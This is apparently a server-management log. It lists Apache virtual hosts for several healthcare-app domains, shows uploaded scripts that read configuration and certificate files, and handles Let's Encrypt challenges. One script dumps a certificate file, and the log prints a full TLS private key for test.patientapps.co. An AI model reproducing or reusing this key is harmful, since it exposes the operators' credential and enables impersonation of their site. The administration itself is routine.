         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-13 10:56:14: 

PUT: /tmp/pkp521828

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-13 10:56:14: 

chmod 755 /tmp/pkp521828; /tmp/pkp521828; rm /tmp/pkp521828

2025-09-13 10:56:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf	1340

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-13 10:56:14: 

PUT: /tmp/pkp358982

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-13 10:56:14: 

chmod 755 /tmp/pkp358982; /tmp/pkp358982; rm /tmp/pkp358982

2025-09-13 10:56:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	5360
6b:c1:e4:8e:94:02:51:1d:0a:f4:66:25:45:c3:67:2f

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBh4Wwj3J1bN7v6YTUysdNeAMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTEzMDk1NzQzWhcNMjUxMjEyMDk1NzQyWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAt9cLYBlvLp6YLwEAOToZQDUMh4hRoOJsrVG/hRfyev9i/q0MpT3erjRS
ZswF2xqj/cwq8TPgtCmRhE4mrauapapPADo69ZirMUIfUaBJ2C+o2t1q6XycxYL5
92nnVq004a9xPDo2NRAYGJ9HFrWyQGxd/ziM7dCdxxramm9x4fVHS6g2fDFu2liB
yM2HsnuRo3YLXLXZkdeyGl6ucXprL+zQE45ml3rdN32hY1Q28JVp1UCXNq4YdA8X
cOR5LZQSzILNyKngHzYxkrlz/5/nbpmHUP/pcbPPqhEmGuGCLgJf2EEEady4mQw/
3qBhKk7wnkM8IDviQn+zXW7XhWYMgwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTRJnYt6MjrWLdzhww6nKD0O8X7RjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZlCt+k1AAAE
AwBIMEYCIQDQnh0MWo0rrZQASrR6hSQ16ZyZxUlDRzORqx0UYJXk9gIhAJHFR8cg
f4R9ey9LnL2wa7BCXkFMdXB2oIjBcp3KJtoOAHUAGgT/SdBUHUCv9qDDv/HYxGcv
TuzuI0BomGsXQC7ciX0AAAGZQrfpRQAABAMARjBEAiBZu/zb8yXAJa2r+SqjLdFS
3uMOaVG+q09wCYgfTlUdbQIgV0QGLBKNGIpjG+Tqh6oq7Bcr4AsqweTM4KwUW/eC
YMcwDQYJKoZIhvcNAQELBQADggEBAJOOB+Q3AGhl76gKiEI4HoSQ5y4dGA1uSDBe
gutXIPZLByPcRKetFByxknPyxSRJijLiQepmgs1bt2v/S13GnRZUhzKXrk77TliO
3NHlXGpSCGefeceLtEAGkQdrDgAdMgunOgMkRFc8gzSfNckpW3WaEId7ffbi7v8N
9s57e8FhkNZ0zMoAoz6PJum4QkgoiFkUfrNuaIGvOGPiTBnDYVhhbNJsYc3o2G59
W4LMkPC0n9WZGD4u0WmKgsPQ0A36f4wvYp3IKTxYVzVUtYy2wHzMfzCnm+QtmcUm
M2Jjo8cHLhRUu5wWcu2a8GLKnFZvioQI+btIVHIsDBP4RclOJbI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC31wtgGW8unpgv
AQA5OhlANQyHiFGg4mytUb+FF/J6/2L+rQylPd6uNFJmzAXbGqP9zCrxM+C0KZGE
Tiatq5qlqk8AOjr1mKsxQh9RoEnYL6ja3WrpfJzFgvn3aedWrTThr3E8OjY1EBgY
n0cWtbJAbF3/OIzt0J3HGtqab3Hh9UdLqDZ8MW7aWIHIzYeye5GjdgtctdmR17Ia
Xq5xemsv7NATjmaXet03faFjVDbwlWnVQJc2rhh0Dxdw5HktlBLMgs3IqeAfNjGS
uXP/n+dumYdQ/+lxs8+qESYa4YIuAl/YQQRp3LiZDD/eoGEqTvCeQzwgO+JCf7Nd
bteFZgyDAgMBAAECggEAI+5S2dh+w4TZx64RZh3123fC2CaLlb9LcGCe5xt0GBgc
OByIcS9ze2bciBzuNBGz5aHm7ret/mh1eX9wzdbRZfmwcSHwbhoFs53x0xlZ9Xfz
L7vA7pudZHkh8/pt7aHyyP1qS1QxThO0MfPHiCfBDBhiEsTxvnVcsRKNkUug3YGn
B+TDxfcfbKzqbL/zapYSGAMC4CTh6vBievW87CUWjW/ww5vwZ1Myh5lzQvK+bnT5
WlA81YN0FOipt3s845tNTySaP+uasdlHFz64i+RjCuRS+M9iA2NN7SL28WXBSTqB
oOCGs32ZQEx1dq1oUXlw2Z96P99GEv9VPUML6MaByQKBgQDotYwXMcBXO9EkT+mp
FdyOi1wveKUwbooDO77ZRiDB/YAtT+D6JvByAlLKZ5ovsiSxtl4SaVDS7hUHFNbU
UShSDlRJIzN2jwBFoI0WsUhSh28E7m3pqnndrS9rw1a/Uf+coZ4Cr1gzPAbl0s2l
iL1l5ghmO8d1Ao6wm0Wj2UCuPwKBgQDKPWBXRt3JvPDJ+4z8woZV+WaG/MrjdeEc
bPrZ3k3gEWCzPeW+ZY5wWR9Zw20YRJZ/GFFRYiJNFz1iUa52qBgIkEF6GnF2qkC8
OqVnToX4aE7TldPBpYDy9VRJJ4B5iAOVt74tE+in3HUEmoFj5Spyp8E+WhoC60r2
eaVuWtCYvQKBgC4VFYLaVU5xB/9627iiHaUUr9Kuv3eRzD7LrAV2v7Hqs2FFujWP
VHofP6nZTk03p9CRXpuiw2ChyQQ3+jrdP3DQaZx6HgzSUKl5G7dsr/e33iJJ3PYy
ziM50nQyoJEOeeHYl2PMuVicAHmufw7Svz7YiL1GBT+EnCEY/ndt5EMdAoGAcSWp
kurJByc4KCkelgNXGR6xp/AiquO2kCrApcfkFepjCaUltkInUN/r1FKr5JnrASxf
woJ+4laQN0Ovsh8VYyUiHOhSdquGEElXZNbfyTzCbUoz8PFhlYyAHXWGQXhBWTA1
rA6padDDf1HZ9kOuXftQ+Et8pglyJTelwHn6npkCgYEAmf3oNdyddcrxa13V3p/q
n/SjgT6+GLWc7m20Th5UpNX/7dGZW83yu7EO6NfkvtxiJ/PVFV+pKKrPFCo4c9qR
ogqlsMkOLqjPPaafmCTtRWZBgKpK/bf0ateyFyo34szCyn5yto6m9cMTtJtb1dZA
rgzpjkykU+zA7iWaYYcJQA8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-16 06:00:01: Establishing a connection
2025-09-16 06:00:02: Establishing a connection
2025-09-16 06:00:02: 

PUT: /tmp/pkp449302

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-16 06:00:03: 

chmod 755 /tmp/pkp449302; /tmp/pkp449302; rm /tmp/pkp449302

2025-09-16 06:00:03: 


1


2025-09-16 06:00:04: Establishing a connection
2025-09-16 06:00:04: 

PUT: /tmp/pkp553788

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo
cat > rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk


2025-09-16 06:00:04: 

chmod 755 /tmp/pkp553788; /tmp/pkp553788; rm /tmp/pkp553788

2025-09-16 06:00:04: 




2025-09-16 06:00:14: Establishing a connection
2025-09-16 06:00:14: 

PUT: /tmp/pkp820518

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm wJ5tBLBSaxxlTB4b9u_cDJG9dK_eYksUvD6ofuZ0Jeo
rm rn2sHHw7u7S2xFa4qoyVBmr4cV7IKMAlLni2lsBvBdk


2025-09-16 06:00:14: 

chmod 755 /tmp/pkp820518; /tmp/pkp820518; rm /tmp/pkp820518

2025-09-16 06:00:14: 




2025-09-16 06:00:14: Establishing a connection
2025-09-16 06:00:15: 

PUT: /tmp/pkp234614

#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt

cat > $temp_file <<'endmsg'
2d:e5:bb:7c:3b:af:22:fe:50:f6:3a:a1:78:b9:65:55

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBrvF6Ka7h6mbpkP0XqvPLALZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE2MDUwMTQ0WhcNMjUxMjE1MDUwMTQzWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKLDE+EvtteVrcuDR/IqxpAVdCleENhxzIuk+C9vNO8z7OVLNVvclrT67skx
h8SJingcdE5uNL5VRPzupb+LWn2aboceiViuI9C+pNPZ0BG5LMIjOIdCOKEFyVnC
EoHnxc6gCH24CO6CseA7fhkYOqy6T9Oks/a6jFHmgxuQK8xW6uTzR6DhRcoAbzhZ
c59gbuk9thIHzJbiJ9xpNCMRu/VGl6pitZrplbZSpj7xLMn+A3maxy/8Djzgv6XG
PN6lui/HuPPswZ4ODDl2UYPUlndcy07WSnZ1EfcrpqY+PguIG5Dn0SLLEJnc1rJF
RkhBqUCQ4RH/Va36XW4I88kAEgMCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUGxDYeVyEtcSSMAgi/kR0UOYz5rAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTAuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZURwCngAABAMASDBGAiEA405jXgJ2A+4s+EbJIjjF1aAtoqTa
ct5pJvQYq8TmMzUCIQDShmSv3qtjzegEHWFm6YHqUsgyVmznLxHR4SDa8jdcDgB2
AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmVEcAtIAAAQDAEcw
RQIgLH/4EIchIw7mRp0E1UsukVlHBOkZkgXAN6q0kZg9EgoCIQCD2tLvr2AnOtGP
caN7lb8qJw01U0ewUDA/V9HeiKQ/QDANBgkqhkiG9w0BAQsFAAOCAQEAigwKVale
eFVgEFSU70cgrFWAF53mSwdfjyRxdlmNgtIq3BgeRGFJX57scH2xFu135pnM4Zv4
